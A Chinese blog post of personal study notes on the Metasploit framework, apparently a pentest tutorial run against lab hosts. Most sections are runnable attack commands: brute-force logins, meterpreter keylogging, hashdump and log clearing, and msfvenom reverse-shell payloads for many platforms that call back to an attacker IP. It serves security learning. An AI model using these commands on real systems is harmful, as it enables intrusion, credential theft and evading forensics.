前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Metasploit 学习记录

Metasploit 学习记录

作者头像
小简
发布于 2023-01-04 05:51:57
发布于 2023-01-04 05:51:57
2.3K00
代码可运行
举报
文章被收录于专栏:简言之简言之
运行总次数:0
代码可运行

一直在用 Metasploit,但是从来没有花时间仔细去研究这个工具,最近得空就系统的研究研究,故于此记录之。

简介

Metasploit是一款开源的渗透测试框架平台,MSF已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写。

官网:https://www.metasploit.com/

Metasploit体系框架

体系框架图

基础库文件

Metasploit基础库文件位于源码根目录路径下的 libraries 目录中,包括 Rexframework-coreframework-base 三部分。

  • Rex(Ruby extension):是整个框架所依赖的最基础的一些组件,为开发者进行框架和模块开发提供了一些基础功能的支持,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等;
  • framework-core: 负责实现所有与各种类型的上层模块及插件的交互接口;
  • framework-base: 扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;

模块

模块是通过Metasploit框架所装载、集成并对外提供的最核心的渗透测试功能实现代码。分为辅助模块(Aux)渗透攻击模块(Exploits)后渗透攻击模块(Post)攻击载荷模块(payloads)编码器模块(Encoders)空指令模块(Nops)。这些模块拥有非常清晰的结构和一个预定义好的接口,并可以组合支持信息收集、渗透攻击与后渗透攻击拓展。

  • 辅助模块(Aux): 在渗透信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测等模块。
  • 渗透攻击模块(Exploits):利用发现的安全漏洞和配置弱点对远程目标系统进行攻击,植入运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
  • 攻击载荷模块(payloads):在渗透攻击成功后促使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
  • 空指令模块(Nops):用来在攻击载荷中添加空指令区, 以提高攻击可靠性的组件。
  • 编码器模块(Encoders):攻击载荷与空指令模块组装完成一个指令序列后,进行编码,来绕过防护软件拦截。
  • 后渗透攻击模块(Post):在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各种各样的后渗透攻击动作,比如获取敏感信息,进一步括展,实施跳板攻击等。
  • 躲避模块(Evasion):5.0新增的模块,这个模块可以轻松的创建反杀毒软件的木马。

插件

  插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。

接口

  包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面以及 msfapi 远程调用接口等。

功能程序

  除了用户使用用户接口访问 metasploit 框架主体功能之外,metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayloadmsfencodemsfvenom 可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。msf*scan系列功能程序提供了在PE、ELF等各种类型文件中搜索特定指令的功能,可以帮助渗透代码开发人员定位指令地址。

Metasploit目录结构

目录地址:/usr/share/metasploit-framework/

最重要的目录是data,modules,scripts,tools,plugins

data目录

存放meterpreter,exploits,wordlists等。

meterpreter是msf的攻击载荷,使用于后渗透阶段

exploits里面则存放了许多的cve漏洞利用代码

wordlists里面放的是字典文件

modules目录

metasploit的核心目录了,存放着各个攻击模块

scirpts目录

存放一些msf用到的脚本文件,分别是meterpreter,ps,resource,shell

tools目录

存放各种可使用的工具

plugins目录

存放msf的各种插件

Metasploit命令篇

MSF启动

方法一:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo msfdb init && msfconsole

方法二:

  • 1.开启数据库:service start postgresql
  • 2.设置数据库开机启动:service enable postgresql
  • 3.初始化MSF数据库:msfdb init    [初次使用需要初始化]
  • 4.开启MSF:msfconsole
  • 5.查看数据库连接状态:db_status

启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。

常用命令

通过 help 查看帮助,可以对 msf 有个整体认识,可以看到 msf 相关命令可以分成以下类型:

Core Commands

核心命令

Module Commands

模块命令

Job Commands

后台任务命令

Resource Script Commands

资源脚本命令

Database Backend Commands

数据库后端命令

Credentials Backend Commands

证书/凭证后端命令

Developer Commands

开发人员命令

待更。。。

Metasploit爆破篇

爆破TELNET

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf > use auxiliary/scanner/telnet/telnet_login 
msf auxiliary(telnet_login) > set RHOSTS 192.168.1.103
msf auxiliary(telnet_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(telnet_login) > set VERBOSE true #打印输出
msf auxiliary(telnet_login) > set USER_FILE /root/Desktop/username.txt
msf auxiliary(telnet_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(telnet_login) > exploit 

爆破SSH

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS 192.168.1.103
msf auxiliary(ssh_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(ssh_login) > set VERBOSE true #打印输出
msf auxiliary(ssh_login) > set USER_FILE /root/Desktop/username.txt
msf auxiliary(ssh_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(ssh_login) > set THREADS 50
msf auxiliary(ssh_login) > run

爆破MYSQL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf > use  auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set RHOSTS  192.168.1.103
msf auxiliary(mysql_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(mysql_login) > set VERBOSE true #打印输出
msf auxiliary(mysql_login) > set USER_FILE /root/Desktop/username.txt
msf auxiliary(mysql_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(mysql_login) > run

爆破FTP

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set RHOSTS  192.168.1.103
msf auxiliary(ftp_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(ftp_login) > set VERBOSE true #打印输出
msf auxiliary(ftp_login) > set USERNAME msfadmin
msf auxiliary(ftp_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(ftp_login) > run

爆破postgressql数据库

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf > use auxiliary/scanner/postgres/postgres_login  
msf auxiliary(postgres_login) > set RHOSTS  192.168.1.103
msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(postgres_login) > set VERBOSE true #打印输出
msf auxiliary(postgres_login) > set USER_FILE /root/Desktop/username.txt
msf auxiliary(postgres_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(postgres_login) > run

meterpreter

常用命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 run scriptname       运行Meterpreter脚本,在scripts/meterpreter目录下可查看所有的脚本名。
  sysinfo                    列出受控主机的系统信息。
  ls                             列出目标主机的文件和文件夹信息。
  use priv                    加载特权提升扩展模块,来扩展Meterpreter库。
  ps                            显示所有运行进程以及关联的用户账号。
  migrate PID               迁移到一个指定的进程ID(PID可通过ps从目标主机上获得)。
  use incognito             加载incognito功能(用来盗窃目标主机的令牌或是假冒用户).
  list_tokens -u            列出目标主机用户的可用令牌。
  list_tokens -g            列出目标主机用户组的可用令牌。
  impersonate_token DOMAIN_NAME\\USERNAME             假冒目标主机上的可用令牌。
  steal_token PID          盗窃给定进程的可用令牌并进行令牌假冒。
  drop_token                停止假冒当前令牌。
  getsystem                  通过各种攻击向量来提升系统用户权限。
  shell                          以所有可用令牌来运行一个交互的shell。
  execute -f cmd.exe -i  执行cmd.exe命令并进行交互。
 execute -f cmd.exe -i -t 以所有可用的令牌来执行cmd命令。
  execute -f cmd.exe -i -H -t  以所有可用的令牌来执行cmd命令并隐藏该进程。
  rev2self                      回到控制目标主机的初始化用户账号下。
  reg command              在目标主机注册表中进行交互,创建,删除,查询等操作。
  setdesktop number      切换到另一个用户界面(该功能基于哪些用户已登录)。
  screenshot                  对目标主机的屏幕进行截图。
  upload file                   向目标主机上传文件
  download file               从目标主机下载文件。
  keyscan_start             针对远程目标主机开启键盘记录功能。
  keyscan_dump            存储目标主机上捕获的键盘记录。
  keyscan_stop              停止针对目标主机的键盘记录功能。
  getprivs                      尽可能多的获取目标主机上的特权。
  uictl enable keyboard/mouse     接管目标主机的键盘和鼠标。
  background                 将你当前的Meterpreter shell转为后台执行。
  hashdump                   导出目标主机中的口令哈希值。
  use sniffer                   加载嗅探模块。
  sniffer_interfaces          列出目标主机所有开放的网络接口。
  sniffer_dump interfaceID pcapname        在目标主机上启动嗅探。
  sniffer_stats interfaceID  获取正在实施嗅探网络接口的统计数据。
  sniffer_start interfaceID packet-buffer  在目标主机上针对特定范围的数据包缓冲区启动嗅探。
  sniffer_stop interfaceID 停止嗅探。
  add_user username password -h ip   在远程目标主机上添加一个用户。
  add_group_user "Domain Admins" username -h ip     将用户添加到目标主机的域管理员组中。
  clearev                        清除目标主机上的日志记录。
  timestomp                   修改文件属性,例如修改文件的创建时间(反取证调查)。
  reboot                         重启目标主机。

meterpreter中文乱码

成因

Linux下面汉字默认是UTF-8编码 Windows下汉字使用的是GBK系列编码

解决方案

方法一:直接执行 chcp 65001 命令

方法二:将终端临时设置为GBK系列编码即可

msfvenom

**msfvenom **是 msfpayloadmsfencode 的结合体,可利用 msfvenom 生成木马程序,并在目标机上执行,在本地监听上线

msfvenom参数

查看帮助参数的命令msfvenom -h

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Options:
    -l, --list            <type>        # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
    -p, --payload         <payload>     # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
        --list-options                  # 列出--payload <value> 的标准,高级和规避选项
    -f, --format          <format>      # 指定 Payload 的输出格式(使用 --list formats 列出)
    -e, --encoder         <encoder>     # 指定使用的 Encoder (使用 --list encoders 列出)
        --sec-name        <value>       # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
        --smallest                      # 使用所有可用的编码器生成最小的payload
        --encrypt         <value>       # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
        --encrypt-key     <value>       # 用于加密的密钥
        --encrypt-iv      <value>       # 加密的初始化向量
    -a, --arch            <arch>        # 指定目标系统架构(使用 --list archs  列出)
        --platform        <platform>    # 指定目标系统平台 (使用 --list platforms 列出)
    -o, --out             <path>        # 保存payload到文件
    -b, --bad-chars       <list>        # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff'
    -n, --nopsled         <length>      # 指定 nop 在 payload 中的数量
    -s, --space           <length>      # 设置未经编码的 Payload 的最大长度
        --encoder-space   <length>      # 编码后的 Payload 的最大长度
    -i, --iterations      <count>       # 设置 Payload 的编码次数
    -c, --add-code        <path>        # 指定包含一个额外的win32 shellcode文件
    -x, --template        <path>        # 指定一个特定的可执行文件作为模板
    -k, --keep                          # 保护模板程序的功能,注入的payload作为一个新的进程运行
    -v, --var-name        <value>       # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
    -t, --timeout         <second>      # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
    -h, --help                          # 帮助

msfvenom生成Payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#普通生成
msfvenom -p <payload> <payload options> -f <format> -o <path>
msfvenom -p windows/meterpreter/reverse_tcp  -f exe -o payload.exe

#编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式  -i 编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=12345 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -l archs        #查看支持的系统架构
msfvenom -l platforms    #查看支持系统平台
msfvenom -l payload            #列出所有可用的payload
msfvenom -l formats            #列出所有的输出格式
msfvenom -l encrypt            #列出所有的加密方式
msfvenom -l encoders           #列出所有的编码器

创建监听器

等待shell回连,务必注意,创建什么类型的payload就要用什么类型的监听器来接收,必须一一对应,此处就以最普通的tcp监听器为例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 12345   #也可以使用默认的4444端口
msf > set lhost 192.168.1.101
msf > exploit

各类OS系统的payload

windows 平台

普通的exe 直接双击即可触发,会弹回一个常规meterpreter

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.52.128 LPORT=12345 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o x86_shell.exe

powershell,把文件中编码后的powershell payload代码直接抠出来,丢到目标机器的cmd中去执行触发,会弹回一个powershell的shell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1
linux 平台

直接赋予执行权限,执行即可触发

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f elf -o x86_shell.elf
mac 平台
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f macho -o x86_shell.macho
android平台

注意这里生成的apk是不能直接被装到手机上的,还需要你自己给apk签个名才能装,装完以后点击打开即可触发

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f apk -o x86_shell.apk

各类web的Payload

基于脚本,对于此类的web脚本触发执行方法非常简单,直接在url中访问该脚本即可

php 脚本
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom --platform PHP -p php/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.php
asp 脚本
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f asp -o shell.asp
aspx 脚本
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f aspx -o x86_shell.aspx
jsp 脚本
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.jsp
war包

找个能部署war包的地方,如各类java控制台,部署一下即可执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.war

各类脚本的payload

nodejs
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.js
python
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.py
perl
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.pl
ruby
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.rb
lua
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.lua
bash
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.3.12 LPORT=12345 -f raw -o shell.sh

参考:

Metasploit信息收集篇

基于TCP协议收集主机信息

主机信息收集

使用auxiliary/scanner/discovery/下模块进行扫描

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
use auxiliary/scanner/discovery/arp_sweep #发现存活的主机
use auxiliary/scanner/discovery/empty_udp
use auxiliary/scanner/discovery/ipv6_multicast_ping
use auxiliary/scanner/discovery/ipv6_neighbor
use auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep #除了可以探测到存活主机之外,还可以获得主机名称信息

实例:使用arp_sweep模块来发现存活的主机

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
search arp_sweep       #查询此模块下的攻击模块
use   查询出来的攻击模块  #加载攻击模块
show options           #查看一下该模块需要配置的选项参数
set RHOSTS 目标机ip     #使用set命令将RHOSTS设置为目标电脑的IP
exploit                #进行攻击

主机端口扫描

使用auxiliary/scanner/portscan/下的模块探测主机端口

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
auxiliary/scanner/portscan/ack       #ACK防火墙扫描
auxiliary/scanner/portscan/ftpbounce #FTP跳端口扫描
auxiliary/scanner/portscan/syn       #SYN端口扫描(半连接扫描)
auxiliary/scanner/portscan/tcp       #TCP端口扫描
auxiliary/scanner/portscan/xmas      #TCP”XMas”端口扫描

SMB扫描

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。基于SSH协议收集信息,端口:139445

使用auxiliary/scanner/smb/下的模块进行SMB相关操作

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
auxiliary/scanner/smb/pipe_auditor             #扫描命名管道
auxiliary/scanner/smb/pipe_dcerpc_auditor    #返回DCERPC信息
auxiliary/scanner/smb/psexec_loggedin_users  
auxiliary/scanner/smb/smb2                   #扫描SMB2协议
auxiliary/scanner/smb/smb_enum_gpp           
auxiliary/scanner/smb/smb_enumshares         #扫描smb共享文件
auxiliary/scanner/smb/smb_enumusers          #smb枚举系统用户
auxiliary/scanner/smb/smb_enumusers_domain   
auxiliary/scanner/smb/smb_login              #SMB登录
auxiliary/scanner/smb/smb_lookupsid          #扫描组的用户
auxiliary/scanner/smb/smb_uninit_cred        
auxiliary/scanner/smb/smb_version            #扫描系统版本

**实例:使用 smb_version 基于 SMB 协议扫描版本号 **

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf5 > use auxiliary/scanner/smb/smb_version 
#设置扫描目标,注意多个目标使用逗号+空格隔开 
msf5 auxiliary(scanner/smb/smb_version) > show options 
msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.56, 192.168.1.180  
#注: 192.168.1.56 后面的逗号和 192.168.1.180 之间是有空格的 
msf5 auxiliary(scanner/smb/smb_version) > run 

扫描出来操作系统的版本号

SSH探测扫描

使用auxiliary/scanner/ssh/下的模块探测ssh信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
auxiliary/scanner/ssh/cerberus_sftp_enumusers
auxiliary/scanner/ssh/detect_kippo
auxiliary/scanner/ssh/ssh_enumusers     #枚举用户
auxiliary/scanner/ssh/ssh_identify_pubkeys
auxiliary/scanner/ssh/ssh_login         #密码爆破
auxiliary/scanner/ssh/ssh_login_pubkey
auxiliary/scanner/ssh/ssh_version       #查看版本

FTP探测扫描

使用auxiliary/scanner/ftp/下的模块探测ftp信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
auxiliary/scanner/ftp/anonymous         #匿名登录扫描
auxiliary/scanner/ftp/bison_ftp_traversal
auxiliary/scanner/ftp/ftp_login         #密码爆破
auxiliary/scanner/ftp/ftp_version       #查看版本
auxiliary/scanner/ftp/konica_ftp_traversal
auxiliary/scanner/ftp/pcman_ftp_traversal
auxiliary/scanner/ftp/titanftp_xcrc_traversal

MYSQL探测扫描

使用auxiliary/scanner/mysql/下的模块探测mysql信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
auxiliary/scanner/mysql/mysql_authbypass_hashdump
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_hashdump   #dump密码hash
auxiliary/scanner/mysql/mysql_login      #密码爆破
auxiliary/scanner/mysql/mysql_schemadump
auxiliary/scanner/mysql/mysql_version    #查看版本

SQLSERVER探测扫描

使用auxiliary/scanner/mssql/下的模块探测SQL server的信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
auxiliary/scanner/mssql/mssql_hashdump  #dump密码hash
auxiliary/scanner/mssql/mssql_login     #密码爆破
auxiliary/scanner/mssql/mssql_ping      #嗅探
auxiliary/scanner/mssql/mssql_schemadump

SNMP扫描

简单网络管理协议(SNMP) 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,SNMP 使网络管理员能够管理网络效能,发现并解决网络问题以及规划网络增长。通过 SNMP 接收随机消息(及事件报告)网络管理系统获知网络出现问题。端口:161

使用auxiliary/scanner/snmp/下的模块探测 SNMP 的信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
use auxiliary/scanner/snmp/snmp_login #确定SNMP设备团体字符串的模块。
use auxiliary/scanner/snmp/snmp_enum  #主机的枚举
use auxiliary/scanner/snmp/snmp_enumusers (windows) #收集在远程系统上的用户名的列表。
use auxiliary/scanner/snmp/snmp_enumshares (windows)#查询范围的主机,以确定任何可用的共享。

实例:

1、先到 Metasploitable2-Linux 主机上修改一下 SNMP 服务,因为默认服务是不对外开放的。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfadmin@metasploitable:~# sudo vim  /etc/default/snmpd 
#修改第11行,侦听地址修改为0.0.0.0 
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1' 
修改为: 
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'  
#重启 SNMP 服务 
msfadmin@metasploitable:~$ sudo /etc/init.d/snmpd restart 
#确认服务监听正常 
msfadmin@metasploitable:~$ netstat -antup | grep 161 
(No info could be read for "-p": geteuid()=1000 but you should be root.) 
udp        0      0 0.0.0.0:161             0.0.0.0:*    

2、使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf5 > use auxiliary/scanner/snmp/snmp_enum 
msf5 auxiliary(scanner/snmp/snmp_enum) > show options 
msf5 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.1.180 #靶机ip
msf5 auxiliary(scanner/snmp/snmp_enum) > run 

3、可以看到通过 snmp 协议探测到的信息非常多。如服务器硬件信息和服务器当前运行的进程,这两方面是其他扫描方式获取不到的。

密码嗅探模块

这个 psnuffle 模块可以像以前的 dsniff 命令一样,去嗅探密码, 目前支持POP3,IMAP,FTP和HTTP GET 协议。

1、Kali开启嗅探

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf5 > search sniffer 
msf5 > use auxiliary/sniffer/psnuffle
msf5 auxiliary(sniffer/psnuffle) >  info #查看 psnuffle 模块作用
msf5 auxiliary(sniffer/psnuffle) > show options 
msf5 auxiliary(psnuffle) > run  #直接run是实时在线的嗅探

msf5 auxiliary(psnuffle) > set pcapfile /root/ftp.pcap  #设置pcapfile可以提取pcap文件中的账号密码

2、模拟靶机登录FTP

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#kali新建一个终端窗口登录ftp,Metasploitable2-Linux 靶机中已经开启了 FTP 服务可以直接登录。
root@kali:~# apt install lftp -y   #安装 lftp 命令 
root@kali:~# lftp -u msfadmin 192.168.1.180 #登录 FTP
密码:msfadmin 
#连接成功后,进行下数据交互,查看 ftp 目录下的文件 
lftp msfadmin@192.168.1.180:~> ls   
drwxr-xr-x    6 1000     1000         4096 Apr 28  2010 vulnerable 

3、查看嗅探到的数据

回到 MSF 终端可以看到用户名密码信息已经被获取。

4、关闭任务

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#嗅探完成后记得把后台任务关闭 
msf5 auxiliary(psnuffle) > jobs #查看后台运行的任务
msf5 auxiliary(psnuffle) > kill 0   #kill job 的 ID,关闭 job 
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
makefile从入门到放弃——博主吐血整理的笔记
在没有编写makefile之前可以使用命令gcc *.c -Wall查看当前代码是否有语法错误。检查没有语法错误以后可以编写makefile文件。
全栈程序员站长
2022/09/05
1.7K0
makefile 基础、进阶及常用 makefile
1、若想生成目标,检查规则中的依赖条件是否存在,如不存在,则寻找是否有规则用来生成该依赖文件 2、检查规则中的目标是否需要更新,必须先检查它的所有依赖,依赖中有任一个被更新,则目标必须更新
我与梦想有个约会
2023/10/21
4360
[Linux工具] Makefile
Linux的make程序用来自动化编译大型源码,很多时候,我们在Linux下编译安装软件,只需要敲一个make就可以全自动完成,非常方便。
DevKevin
2025/01/03
1280
【嵌入式】嵌入式项目手动与自动化构建流程详解
在嵌入式开发过程中,从源代码编写到最终程序烧录涉及多个关键步骤,这些步骤在手动方式和自动化方式下有所不同。本文详细介绍了8个嵌入式项目处理流程:源代码编写、预处理、编译、汇编、链接、生成二进制和 HEX 文件、烧录以及清理。每个流程都有其独立的操作命令,并对不同的开发工具链进行详细讲解。
LuckiBit
2025/03/06
1250
Makefile 的使用
在 Linux 中使用 make 命令来编译程序,特别是大程序;而 make 命令所执行的动作依赖于 Makefile 文件。最简单的 Makefile 文件如下:
韦东山
2020/10/30
4.3K1
Makefile 的使用
实战Makefile前,该知道那些知识?
在前一篇文章讲解了Makefile的一些概念和原理,接下来说说Makefile的一些知识点。
Rice加饭
2022/05/10
4890
全网最牛Linux内核Makefile系统文件详解(纯文字代码)
第一部分、概述 什么是makefile?或许很多Winodws的程序员都不知道这个东西,因为那些Windows 的IDE都为你做了这个工作,但我觉得要作一个好的和professional的程序员,ma
嵌入式Linux内核
2022/09/22
3.3K0
全网最牛Linux内核Makefile系统文件详解(纯文字代码)
【Linux】快速上手Makeflie & CMake
如果有还不太了解gcc/g++编译器编译命令的可以先移步:【Linux】手把手教你从零上手gcc/g++编译器
修修修也
2025/03/21
1050
【Linux】快速上手Makeflie & CMake
Linux — Makefile的学习笔记以及多级目录下Makefile的编写
1、由于Makefile中对于制表符(tab)、还有unix和windows中对于换行符的不同等等原因,本文中所有的Makefile文件中的内容不建议您直接复制然后粘贴使用,如果可以手动敲入是为最佳。如果出现在make的时候出现异常,请详细检查并关注文件格式以及内容编写的格式等等。
全栈程序员站长
2022/09/06
5.7K0
Linux — Makefile的学习笔记以及多级目录下Makefile的编写
Linux笔记(9)| 一步步深入Makefile
今天分享的是如何一步步深入地学习Makefile。在Linux中编译代码,不像是Windows中有很多集成的IDE,Linux中都是通过基本的编译工具如gcc来进行,比如要编译main.c这个文件,可以使用gcc main.c -o main.但是如果源文件很多,这种方法就不适用了,所以,必须要学会使用Makefile。
飞哥
2020/07/10
9200
Linux笔记(9)| 一步步深入Makefile
如何编写一个Makefile文件(手把手的教你)
这个树形图展示了一个项目中的层级关系,如果我们需要变动3号文件,会发现,牵一发而动全身,改动一个被迫需要改动一堆,为了解放我们,make中编写Makefile就不再需要考虑这些,你把每个文件的依赖关系以指令的形式说明清楚并且保存下来,改动一个即可,会自动帮你修改关联到的其他文件。
全栈程序员站长
2022/09/02
3.9K1
Makefile常用模板「建议收藏」
做开发的特别是C/C++开发者一般都会用到Makefile,然而多数时候在公司做项目都不需要自己去写Makefile,仅仅停留在能看懂的基础上。因为make命令编译实在是太方便了,所以自己写写小项目用一用还是挺好的。网上关于Makefile教程也很多,总结一下近几年用到的常用脚本,方便自己查阅,如果能帮到别人那便是极好的_。
全栈程序员站长
2022/09/02
1.4K0
深入掌握 Makefile 与 Make 工具:高效管理自动化编译的核心原理和最佳实践
make 是一个在 Unix/Linux 系统中广泛使用的构建工具,用于自动化编译和构建项目。make 命令通过读取一个名为 Makefile 或 makefile 的文件,根据其中定义的规则执行各种任务(如编译、链接等),从而简化和自动化项目的构建过程。
Srlua
2024/10/30
6170
深入掌握 Makefile 与 Make 工具:高效管理自动化编译的核心原理和最佳实践
换个角度说Makefile
作为Linux下的C/C++开发者,没接触过makefile一定说不过去,通常构建大型的C/C++项目都离不开makefile,也许你使用的是cmake或者其他类似的工具,但它们的本质都是类似的。
编程珠玑
2020/02/11
7620
换个角度说Makefile
多文件目录Makefile的写法
  linux下程序开发,涉及到多个文件,多个目录,这时候编译文件的任务量比较大,需要写Makefile
杨永贞
2020/08/04
4K0
多文件目录Makefile的写法
Linux makefile使用基础
makefile就像一个Bash脚本,其中也可以执行操作系统的命令。makefile带来的好处就是——“自动化编译”,一旦写好,只需要一个make命令,整个工程完全自动编译,极大的提高了软件开发的效率。
